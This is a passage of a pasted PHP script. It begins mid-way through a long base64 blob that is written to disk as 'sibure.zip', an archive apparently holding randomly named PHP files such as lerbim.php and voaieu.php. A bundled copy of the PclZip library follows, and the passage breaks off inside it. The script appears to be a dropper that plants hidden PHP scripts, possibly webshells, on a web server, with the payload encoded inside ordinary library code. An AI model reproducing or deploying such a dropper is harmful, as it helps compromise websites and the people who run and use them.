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");
  10. file_put_contents("sibure.zip",$data);
  11.  
  12.  
  13.  
  14. if (!defined('PCLZIP_READ_BLOCK_SIZE')) {
  15. define( 'PCLZIP_READ_BLOCK_SIZE', 2048 );
  16. }
  17.  
  18. if (!defined('PCLZIP_SEPARATOR')) {
  19. define( 'PCLZIP_SEPARATOR', ',' );
  20. }
  21.  
  22. if (!defined('PCLZIP_ERROR_EXTERNAL')) {
  23. define( 'PCLZIP_ERROR_EXTERNAL', 0 );
  24. }
  25.  
  26. if (!defined('PCLZIP_TEMPORARY_DIR')) {
  27. define( 'PCLZIP_TEMPORARY_DIR', '' );
  28. }
  29.  
  30. if (!defined('PCLZIP_TEMPORARY_FILE_RATIO')) {
  31. define( 'PCLZIP_TEMPORARY_FILE_RATIO', 0.47 );
  32. }
  33.  
  34.  
  35. $g_pclzip_version = "2.8.2";
  36.  
  37. define( 'PCLZIP_ERR_USER_ABORTED', 2 );
  38. define( 'PCLZIP_ERR_NO_ERROR', 0 );
  39. define( 'PCLZIP_ERR_WRITE_OPEN_FAIL', -1 );
  40. define( 'PCLZIP_ERR_READ_OPEN_FAIL', -2 );
  41. define( 'PCLZIP_ERR_INVALID_PARAMETER', -3 );
  42. define( 'PCLZIP_ERR_MISSING_FILE', -4 );
  43. define( 'PCLZIP_ERR_FILENAME_TOO_LONG', -5 );
  44. define( 'PCLZIP_ERR_INVALID_ZIP', -6 );
  45. define( 'PCLZIP_ERR_BAD_EXTRACTED_FILE', -7 );
  46. define( 'PCLZIP_ERR_DIR_CREATE_FAIL', -8 );
  47. define( 'PCLZIP_ERR_BAD_EXTENSION', -9 );
  48. define( 'PCLZIP_ERR_BAD_FORMAT', -10 );
  49. define( 'PCLZIP_ERR_DELETE_FILE_FAIL', -11 );
  50. define( 'PCLZIP_ERR_RENAME_FILE_FAIL', -12 );
  51. define( 'PCLZIP_ERR_BAD_CHECKSUM', -13 );
  52. define( 'PCLZIP_ERR_INVALID_ARCHIVE_ZIP', -14 );
  53. define( 'PCLZIP_ERR_MISSING_OPTION_VALUE', -15 );
  54. define( 'PCLZIP_ERR_INVALID_OPTION_VALUE', -16 );
  55. define( 'PCLZIP_ERR_ALREADY_A_DIRECTORY', -17 );
  56. define( 'PCLZIP_ERR_UNSUPPORTED_COMPRESSION', -18 );
  57. define( 'PCLZIP_ERR_UNSUPPORTED_ENCRYPTION', -19 );
  58. define( 'PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE', -20 );
  59. define( 'PCLZIP_ERR_DIRECTORY_RESTRICTION', -21 );
  60.  
  61. define( 'PCLZIP_OPT_PATH', 77001 );
  62. define( 'PCLZIP_OPT_ADD_PATH', 77002 );
  63. define( 'PCLZIP_OPT_REMOVE_PATH', 77003 );
  64. define( 'PCLZIP_OPT_REMOVE_ALL_PATH', 77004 );
  65. define( 'PCLZIP_OPT_SET_CHMOD', 77005 );
  66. define( 'PCLZIP_OPT_EXTRACT_AS_STRING', 77006 );
  67. define( 'PCLZIP_OPT_NO_COMPRESSION', 77007 );
  68. define( 'PCLZIP_OPT_BY_NAME', 77008 );
  69. define( 'PCLZIP_OPT_BY_INDEX', 77009 );
  70. define( 'PCLZIP_OPT_BY_EREG', 77010 );
  71. define( 'PCLZIP_OPT_BY_PREG', 77011 );
  72. define( 'PCLZIP_OPT_COMMENT', 77012 );
  73. define( 'PCLZIP_OPT_ADD_COMMENT', 77013 );
  74. define( 'PCLZIP_OPT_PREPEND_COMMENT', 77014 );
  75. define( 'PCLZIP_OPT_EXTRACT_IN_OUTPUT', 77015 );
  76. define( 'PCLZIP_OPT_REPLACE_NEWER', 77016 );
  77. define( 'PCLZIP_OPT_STOP_ON_ERROR', 77017 );
  78. define( 'PCLZIP_OPT_EXTRACT_DIR_RESTRICTION', 77019 );
  79. define( 'PCLZIP_OPT_TEMP_FILE_THRESHOLD', 77020 );
  80. define( 'PCLZIP_OPT_TEMP_FILE_ON', 77021 );
  81. define( 'PCLZIP_OPT_TEMP_FILE_OFF', 77022 );
  82.  
  83. define( 'PCLZIP_ATT_FILE_NAME', 79001 );
  84. define( 'PCLZIP_ATT_FILE_NEW_SHORT_NAME', 79002 );
  85. define( 'PCLZIP_ATT_FILE_NEW_FULL_NAME', 79003 );
  86. define( 'PCLZIP_ATT_FILE_MTIME', 79004 );
  87. define( 'PCLZIP_ATT_FILE_CONTENT', 79005 );
  88. define( 'PCLZIP_ATT_FILE_COMMENT', 79006 );
  89.  
  90. define( 'PCLZIP_CB_PRE_EXTRACT', 78001 );
  91. define( 'PCLZIP_CB_POST_EXTRACT', 78002 );
  92. define( 'PCLZIP_CB_PRE_ADD', 78003 );
  93. define( 'PCLZIP_CB_POST_ADD', 78004 );
  94.  
  95. class PclZip
  96. {
  97. var $zipname = '';
  98.  
  99. var $zip_fd = 0;
  100.  
  101. var $error_code = 1;
  102. var $error_string = '';
  103.  
  104. var $magic_quotes_status;
  105.  
  106. function PclZip($p_zipname)
  107. {
  108.  
  109. if (!function_exists('gzopen'))
  110. {
  111. die('Abort '.basename(__FILE__).' : Missing zlib extensions');
  112. }
  113.  
  114. $this->zipname = $p_zipname;
  115. $this->zip_fd = 0;
  116. $this->magic_quotes_status = -1;
  117.  
  118. return;
  119. }
  120.  
  121. function create($p_filelist)
  122. {
  123. $v_result=1;
  124.  
  125. $this->privErrorReset();
  126.  
  127. $v_options = array();
  128. $v_options[PCLZIP_OPT_NO_COMPRESSION] = FALSE;
  129.  
  130. $v_size = func_num_args();
  131.  
  132. if ($v_size > 1) {
  133. $v_arg_list = func_get_args();
  134.  
  135. array_shift($v_arg_list);
  136. $v_size--;
  137.  
  138. if ((is_integer($v_arg_list[0])) && ($v_arg_list[0] > 77000)) {
  139.  
  140. $v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options,
  141. array (PCLZIP_OPT_REMOVE_PATH => 'optional',
  142. PCLZIP_OPT_REMOVE_ALL_PATH => 'optional',
  143. PCLZIP_OPT_ADD_PATH => 'optional',
  144. PCLZIP_CB_PRE_ADD => 'optional',
  145. PCLZIP_CB_POST_ADD => 'optional',
  146. PCLZIP_OPT_NO_COMPRESSION => 'optional',
  147. PCLZIP_OPT_COMMENT => 'optional',
  148. PCLZIP_OPT_TEMP_FILE_THRESHOLD => 'optional',
  149. PCLZIP_OPT_TEMP_FILE_ON => 'optional',
  150. PCLZIP_OPT_TEMP_FILE_OFF => 'optional'
  151.  
  152. ));
  153. if ($v_result != 1) {
  154. return 0;
  155. }
  156. }
  157.  
  158. else {
  159.  
  160. $v_options[PCLZIP_OPT_ADD_PATH] = $v_arg_list[0];
  161.  
  162. if ($v_size == 2) {
  163. $v_options[PCLZIP_OPT_REMOVE_PATH] = $v_arg_list[1];
  164. }
  165. else if ($v_size > 2) {
  166. PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER,
  167. "Invalid number / type of arguments");
  168. return 0;
  169. }
  170. }
  171. }
  172.  
  173. $this->privOptionDefaultThreshold($v_options);
  174.  
  175. $v_string_list = array();
  176. $v_att_list = array();
  177. $v_filedescr_list = array();
  178. $p_result_list = array();
  179.  
  180. if (is_array($p_filelist)) {
  181.  
  182. if (isset($p_filelist[0]) && is_array($p_filelist[0])) {
  183. $v_att_list = $p_filelist;
  184. }
  185.  
  186. else {
  187. $v_string_list = $p_filelist;
  188. }
  189. }
  190.  
  191. else if (is_string($p_filelist)) {
  192. $v_string_list = explode(PCLZIP_SEPARATOR, $p_filelist);
  193. }
  194.  
  195. else {
  196. PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid variable type p_filelist");
  197. return 0;
  198. }
  199.  
  200. if (sizeof($v_string_list) != 0) {
  201. foreach ($v_string_list as $v_string) {
  202. if ($v_string != '') {
  203. $v_att_list[][PCLZIP_ATT_FILE_NAME] = $v_string;
  204. }
  205. else {
  206. }
  207. }
  208. }
  209.  
  210. $v_supported_attributes
  211. = array ( PCLZIP_ATT_FILE_NAME => 'mandatory'
  212. ,PCLZIP_ATT_FILE_NEW_SHORT_NAME => 'optional'
  213. ,PCLZIP_ATT_FILE_NEW_FULL_NAME => 'optional'
  214. ,PCLZIP_ATT_FILE_MTIME => 'optional'
  215. ,PCLZIP_ATT_FILE_CONTENT => 'optional'
  216. ,PCLZIP_ATT_FILE_COMMENT => 'optional'
  217. );
  218. foreach ($v_att_list as $v_entry) {
  219. $v_result = $this->privFileDescrParseAtt($v_entry,
  220. $v_filedescr_list[],
  221. $v_options,
  222. $v_supported_attributes);
  223. if ($v_result != 1) {
  224. return 0;
  225. }
  226. }
  227.  
  228. $v_result = $this->privFileDescrExpand($v_filedescr_list, $v_options);
  229. if ($v_result != 1) {
  230. return 0;
  231. }
  232.  
  233. $v_result = $this->privCreate($v_filedescr_list, $p_result_list, $v_options);
  234. if ($v_result != 1) {
  235. return 0;
  236. }
  237.  
  238. return $p_result_list;
  239. }
  240.  
  241. function add($p_filelist)
  242. {
  243. $v_result=1;
  244.  
  245. $this->privErrorReset();
  246.  
  247. $v_options = array();
  248. $v_options[PCLZIP_OPT_NO_COMPRESSION] = FALSE;
  249.  
  250. $v_size = func_num_args();
  251.  
  252. if ($v_size > 1) {
  253. $v_arg_list = func_get_args();
  254.  
  255. array_shift($v_arg_list);
  256. $v_size--;
  257.  
  258. if ((is_integer($v_arg_list[0])) && ($v_arg_list[0] > 77000)) {
  259.  
  260. $v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options,
  261. array (PCLZIP_OPT_REMOVE_PATH => 'optional',
  262. PCLZIP_OPT_REMOVE_ALL_PATH => 'optional',
  263. PCLZIP_OPT_ADD_PATH => 'optional',
  264. PCLZIP_CB_PRE_ADD => 'optional',
  265. PCLZIP_CB_POST_ADD => 'optional',
  266. PCLZIP_OPT_NO_COMPRESSION => 'optional',
  267. PCLZIP_OPT_COMMENT => 'optional',
  268. PCLZIP_OPT_ADD_COMMENT => 'optional',
  269. PCLZIP_OPT_PREPEND_COMMENT => 'optional',
  270. PCLZIP_OPT_TEMP_FILE_THRESHOLD => 'optional',
  271. PCLZIP_OPT_TEMP_FILE_ON => 'optional',
  272. PCLZIP_OPT_TEMP_FILE_OFF => 'optional'
  273.  
  274. ));
  275. if ($v_result != 1) {
  276. return 0;
  277. }
  278. }
  279.  
  280. else {
  281.  
  282. $v_options[PCLZIP_OPT_ADD_PATH] = $v_add_path = $v_arg_list[0];
  283.  
  284. if ($v_size == 2) {
  285. $v_options[PCLZIP_OPT_REMOVE_PATH] = $v_arg_list[1];
  286. }
  287. else if ($v_size > 2) {
  288. PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid number / type of arguments");
  289.  
  290. return 0;
  291. }
  292. }
  293. }
  294.  
  295. $this->privOptionDefaultThreshold($v_options);
  296.  
  297. $v_string_list = array();
  298. $v_att_list = array();
  299. $v_filedescr_list = array();
  300. $p_result_list = array();
  301.  
  302. if (is_array($p_filelist)) {
  303.  
  304. if (isset($p_filelist[0]) && is_array($p_filelist[0])) {
  305. $v_att_list = $p_filelist;
  306. }
  307.  
  308. else {
  309. $v_string_list = $p_filelist;
  310. }
  311. }
  312.  
  313. else if (is_string($p_filelist)) {
  314. $v_string_list = explode(PCLZIP_SEPARATOR, $p_filelist);
  315. }
  316.  
  317. else {
  318. PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid variable type '".gettype($p_filelist)."' for p_filelist");
  319. return 0;
  320. }
  321.  
  322. if (sizeof($v_string_list) != 0) {
  323. foreach ($v_string_list as $v_string) {
  324. $v_att_list[][PCLZIP_ATT_FILE_NAME] = $v_string;
  325. }
  326. }
  327.  
  328. $v_supported_attributes
  329. = array ( PCLZIP_ATT_FILE_NAME => 'mandatory'
  330. ,PCLZIP_ATT_FILE_NEW_SHORT_NAME => 'optional'
  331. ,PCLZIP_ATT_FILE_NEW_FULL_NAME => 'optional'
  332. ,PCLZIP_ATT_FILE_MTIME => 'optional'
  333. ,PCLZIP_ATT_FILE_CONTENT => 'optional'
  334. ,PCLZIP_ATT_FILE_COMMENT => 'optional'
  335. );
  336. foreach ($v_att_list as $v_entry) {
  337. $v_result = $this->privFileDescrParseAtt($v_entry,
  338. $v_filedescr_list[],
  339. $v_options,
  340. $v_supported_attributes);
  341. if ($v_result != 1) {
  342. return 0;
  343. }
  344. }
  345.  
  346. $v_result = $this->privFileDescrExpand($v_filedescr_list, $v_options);
  347. if ($v_result != 1) {
  348. return 0;
  349. }
  350.  
  351. $v_result = $this->privAdd($v_filedescr_list, $p_result_list, $v_options);
  352. if ($v_result != 1) {
  353. return 0;
  354. }
  355.  
  356. return $p_result_list;
  357. }
  358.  
  359. function listContent()
  360. {
  361. $v_result=1;
  362.  
  363. $this->privErrorReset();
  364.  
  365. if (!$this->privCheckFormat()) {
  366. return(0);
  367. }
  368.  
  369. $p_list = array();
  370. if (($v_result = $this->privList($p_list)) != 1)
  371. {
  372. unset($p_list);
  373. return(0);
  374. }
  375.  
  376. return $p_list;
  377. }
  378.  
  379. function extract()
  380. {
  381. $v_result=1;
  382.  
  383. $this->privErrorReset();
  384.  
  385. if (!$this->privCheckFormat()) {
  386. return(0);
  387. }
  388.  
  389. $v_options = array();
  390. $v_path = '';
  391. $v_remove_path = "";
  392. $v_remove_all_path = false;
  393.  
  394. $v_size = func_num_args();
  395.  
  396. $v_options[PCLZIP_OPT_EXTRACT_AS_STRING] = FALSE;
  397.  
  398. if ($v_size > 0) {
  399. $v_arg_list = func_get_args();
  400.  
  401. if ((is_integer($v_arg_list[0])) && ($v_arg_list[0] > 77000)) {
  402.  
  403. $v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options,
  404. array (PCLZIP_OPT_PATH => 'optional',
  405. PCLZIP_OPT_REMOVE_PATH => 'optional',
  406. PCLZIP_OPT_REMOVE_ALL_PATH => 'optional',
  407. PCLZIP_OPT_ADD_PATH => 'optional',
  408. PCLZIP_CB_PRE_EXTRACT => 'optional',
  409. PCLZIP_CB_POST_EXTRACT => 'optional',
  410. PCLZIP_OPT_SET_CHMOD => 'optional',
  411. PCLZIP_OPT_BY_NAME => 'optional',
  412. PCLZIP_OPT_BY_EREG => 'optional',
  413. PCLZIP_OPT_BY_PREG => 'optional',
  414. PCLZIP_OPT_BY_INDEX => 'optional',
  415. PCLZIP_OPT_EXTRACT_AS_STRING => 'optional',
  416. PCLZIP_OPT_EXTRACT_IN_OUTPUT => 'optional',
  417. PCLZIP_OPT_REPLACE_NEWER => 'optional'
  418. ,PCLZIP_OPT_STOP_ON_ERROR => 'optional'
  419. ,PCLZIP_OPT_EXTRACT_DIR_RESTRICTION => 'optional',
  420. PCLZIP_OPT_TEMP_FILE_THRESHOLD => 'optional',
  421. PCLZIP_OPT_TEMP_FILE_ON => 'optional',
  422. PCLZIP_OPT_TEMP_FILE_OFF => 'optional'
  423. ));
  424. if ($v_result != 1) {
  425. return 0;
  426. }
  427.  
  428. if (isset($v_options[PCLZIP_OPT_PATH])) {
  429. $v_path = $v_options[PCLZIP_OPT_PATH];
  430. }
  431. if (isset($v_options[PCLZIP_OPT_REMOVE_PATH])) {
  432. $v_remove_path = $v_options[PCLZIP_OPT_REMOVE_PATH];
  433. }
  434. if (isset($v_options[PCLZIP_OPT_REMOVE_ALL_PATH])) {
  435. $v_remove_all_path = $v_options[PCLZIP_OPT_REMOVE_ALL_PATH];
  436. }
  437. if (isset($v_options[PCLZIP_OPT_ADD_PATH])) {
  438. if ((strlen($v_path) > 0) && (substr($v_path, -1) != '/')) {
  439. $v_path .= '/';
  440. }
  441. $v_path .= $v_options[PCLZIP_OPT_ADD_PATH];
  442. }
  443. }
  444.  
  445. else {
  446.  
  447. $v_path = $v_arg_list[0];
  448.  
  449. if ($v_size == 2) {
  450. $v_remove_path = $v_arg_list[1];
  451. }
  452. else if ($v_size > 2) {
  453. PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid number / type of arguments");
  454.  
  455. return 0;
  456. }
  457. }
  458. }
  459.  
  460. $this->privOptionDefaultThreshold($v_options);
  461.  
  462.  
  463. $p_list = array();
  464. $v_result = $this->privExtractByRule($p_list, $v_path, $v_remove_path,
  465. $v_remove_all_path, $v_options);
  466. if ($v_result < 1) {
  467. unset($p_list);
  468. return(0);
  469. }
  470.  
  471. return $p_list;
  472. }
  473.  
  474.  
  475.  
  476. function extractByIndex($p_index)
  477. {
  478. $v_result=1;
  479.  
  480. $this->privErrorReset();
  481.  
  482. if (!$this->privCheckFormat()) {
  483. return(0);
  484. }
  485.  
  486. $v_options = array();
  487. $v_path = '';
  488. $v_remove_path = "";
  489. $v_remove_all_path = false;
  490.  
  491. $v_size = func_num_args();
  492.  
  493. $v_options[PCLZIP_OPT_EXTRACT_AS_STRING] = FALSE;
  494.  
  495. if ($v_size > 1) {
  496. $v_arg_list = func_get_args();
  497.  
  498. array_shift($v_arg_list);
  499. $v_size--;
  500.  
  501. if ((is_integer($v_arg_list[0])) && ($v_arg_list[0] > 77000)) {
  502.  
  503. $v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options,
  504. array (PCLZIP_OPT_PATH => 'optional',
  505. PCLZIP_OPT_REMOVE_PATH => 'optional',
  506. PCLZIP_OPT_REMOVE_ALL_PATH => 'optional',
  507. PCLZIP_OPT_EXTRACT_AS_STRING => 'optional',
  508. PCLZIP_OPT_ADD_PATH => 'optional',
  509. PCLZIP_CB_PRE_EXTRACT => 'optional',
  510. PCLZIP_CB_POST_EXTRACT => 'optional',
  511. PCLZIP_OPT_SET_CHMOD => 'optional',
  512. PCLZIP_OPT_REPLACE_NEWER => 'optional'
  513. ,PCLZIP_OPT_STOP_ON_ERROR => 'optional'
  514. ,PCLZIP_OPT_EXTRACT_DIR_RESTRICTION => 'optional',
  515. PCLZIP_OPT_TEMP_FILE_THRESHOLD => 'optional',
  516. PCLZIP_OPT_TEMP_FILE_ON => 'optional',
  517. PCLZIP_OPT_TEMP_FILE_OFF => 'optional'
  518. ));
  519. if ($v_result != 1) {
  520. return 0;
  521. }
  522.  
  523. if (isset($v_options[PCLZIP_OPT_PATH])) {
  524. $v_path = $v_options[PCLZIP_OPT_PATH];
  525. }
  526. if (isset($v_options[PCLZIP_OPT_REMOVE_PATH])) {
  527. $v_remove_path = $v_options[PCLZIP_OPT_REMOVE_PATH];
  528. }
  529. if (isset($v_options[PCLZIP_OPT_REMOVE_ALL_PATH])) {
  530. $v_remove_all_path = $v_options[PCLZIP_OPT_REMOVE_ALL_PATH];
  531. }
  532. if (isset($v_options[PCLZIP_OPT_ADD_PATH])) {
  533. if ((strlen($v_path) > 0) && (substr($v_path, -1) != '/')) {
  534. $v_path .= '/';
  535. }
  536. $v_path .= $v_options[PCLZIP_OPT_ADD_PATH];
  537. }
  538. if (!isset($v_options[PCLZIP_OPT_EXTRACT_AS_STRING])) {
  539. $v_options[PCLZIP_OPT_EXTRACT_AS_STRING] = FALSE;
  540. }
  541. else {
  542. }
  543. }
  544.  
  545. else {
  546.  
  547. $v_path = $v_arg_list[0];
  548.  
  549. if ($v_size == 2) {
  550. $v_remove_path = $v_arg_list[1];
  551. }
  552. else if ($v_size > 2) {
  553. PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid number / type of arguments");
  554.  
  555. return 0;
  556. }
  557. }
  558. }
  559.  
  560.  
  561. $v_arg_trick = array (PCLZIP_OPT_BY_INDEX, $p_index);
  562. $v_options_trick = array();
  563. $v_result = $this->privParseOptions($v_arg_trick, sizeof($v_arg_trick), $v_options_trick,
  564. array (PCLZIP_OPT_BY_INDEX => 'optional' ));
  565. if ($v_result != 1) {
  566. return 0;
  567. }
  568. $v_options[PCLZIP_OPT_BY_INDEX] = $v_options_trick[PCLZIP_OPT_BY_INDEX];
  569.  
  570. $this->privOptionDefaultThreshold($v_options);
  571.  
  572. if (($v_result = $this->privExtractByRule($p_list, $v_path, $v_remove_path, $v_remove_all_path, $v_options)) < 1) {
  573. return(0);
  574. }
  575.  
  576. return $p_list;
  577. }
  578.  
  579. function delete()
  580. {
  581. $v_result=1;
  582.  
  583. $this->privErrorReset();
  584.  
  585. if (!$this->privCheckFormat()) {
  586. return(0);
  587. }
  588.  
  589. $v_options = array();
  590.  
  591. $v_size = func_num_args();
  592.  
  593. if ($v_size > 0) {
  594. $v_arg_list = func_get_args();
  595.  
  596. $v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options,
  597. array (PCLZIP_OPT_BY_NAME => 'optional',
  598. PCLZIP_OPT_BY_EREG => 'optional',
  599. PCLZIP_OPT_BY_PREG => 'optional',
  600. PCLZIP_OPT_BY_INDEX => 'optional' ));
  601. if ($v_result != 1) {
  602. return 0;
  603. }
  604. }
  605.  
  606. $this->privDisableMagicQuotes();
  607.  
  608. $v_list = array();
  609. if (($v_result = $this->privDeleteByRule($v_list, $v_options)) != 1) {
  610. $this->privSwapBackMagicQuotes();
  611. unset($v_list);
  612. return(0);
  613. }
  614.  
  615. $this->privSwapBackMagicQuotes();
  616.  
  617. return $v_list;
  618. }
  619.  
  620. function deleteByIndex($p_index)
  621. {
  622.  
  623. $p_list = $this->delete(PCLZIP_OPT_BY_INDEX, $p_index);
  624.  
  625. return $p_list;
  626. }
  627.  
  628. function properties()
  629. {
  630.  
  631. $this->privErrorReset();
  632.  
  633. $this->privDisableMagicQuotes();
  634.  
  635. if (!$this->privCheckFormat()) {
  636. $this->privSwapBackMagicQuotes();
  637. return(0);
  638. }
  639.  
  640. $v_prop = array();
  641. $v_prop['comment'] = '';
  642. $v_prop['nb'] = 0;
  643. $v_prop['status'] = 'not_exist';
  644.  
  645. if (@is_file($this->zipname))
  646. {
  647. if (($this->zip_fd = @fopen($this->zipname, 'rb')) == 0)
  648. {
  649. $this->privSwapBackMagicQuotes();
  650.  
  651. PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open archive \''.$this->zipname.'\' in binary read mode');
  652.  
  653. return 0;
  654. }
  655.  
  656. $v_central_dir = array();
  657. if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1)
  658. {
  659. $this->privSwapBackMagicQuotes();
  660. return 0;
  661. }
  662.  
  663. $this->privCloseFd();
  664.  
  665. $v_prop['comment'] = $v_central_dir['comment'];
  666. $v_prop['nb'] = $v_central_dir['entries'];
  667. $v_prop['status'] = 'ok';
  668. }
  669.  
  670. $this->privSwapBackMagicQuotes();
  671.  
  672. return $v_prop;
  673. }
  674.  
  675. function duplicate($p_archive)
  676. {
  677. $v_result = 1;
  678.  
  679. $this->privErrorReset();
  680.  
  681. if ((is_object($p_archive)) && (get_class($p_archive) == 'pclzip'))
  682. {
  683.  
  684. $v_result = $this->privDuplicate($p_archive->zipname);
  685. }
  686.  
  687. else if (is_string($p_archive))
  688. {
  689.  
  690. if (!is_file($p_archive)) {
  691. PclZip::privErrorLog(PCLZIP_ERR_MISSING_FILE, "No file with filename '".$p_archive."'");
  692. $v_result = PCLZIP_ERR_MISSING_FILE;
  693. }
  694. else {
  695. $v_result = $this->privDuplicate($p_archive);
  696. }
  697. }
  698.  
  699. else
  700. {
  701. PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid variable type p_archive_to_add");
  702. $v_result = PCLZIP_ERR_INVALID_PARAMETER;
  703. }
  704.  
  705. return $v_result;
  706. }
  707.  
  708. function merge($p_archive_to_add)
  709. {
  710. $v_result = 1;
  711.  
  712. $this->privErrorReset();
  713.  
  714. if (!$this->privCheckFormat()) {
  715. return(0);
  716. }
  717.  
  718. if ((is_object($p_archive_to_add)) && (get_class($p_archive_to_add) == 'pclzip'))
  719. {
  720.  
  721. $v_result = $this->privMerge($p_archive_to_add);
  722. }
  723.  
  724. else if (is_string($p_archive_to_add))
  725. {
  726.  
  727. $v_object_archive = new PclZip($p_archive_to_add);
  728.  
  729. $v_result = $this->privMerge($v_object_archive);
  730. }
  731.  
  732. else
  733. {
  734. PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid variable type p_archive_to_add");
  735. $v_result = PCLZIP_ERR_INVALID_PARAMETER;
  736. }
  737.  
  738. return $v_result;
  739. }
  740.  
  741.  
  742.  
  743. function errorCode()
  744. {
  745. if (PCLZIP_ERROR_EXTERNAL == 1) {
  746. return(PclErrorCode());
  747. }
  748. else {
  749. return($this->error_code);
  750. }
  751. }
  752.  
  753. function errorName($p_with_code=false)
  754. {
  755. $v_name = array ( PCLZIP_ERR_NO_ERROR => 'PCLZIP_ERR_NO_ERROR',
  756. PCLZIP_ERR_WRITE_OPEN_FAIL => 'PCLZIP_ERR_WRITE_OPEN_FAIL',
  757. PCLZIP_ERR_READ_OPEN_FAIL => 'PCLZIP_ERR_READ_OPEN_FAIL',
  758. PCLZIP_ERR_INVALID_PARAMETER => 'PCLZIP_ERR_INVALID_PARAMETER',
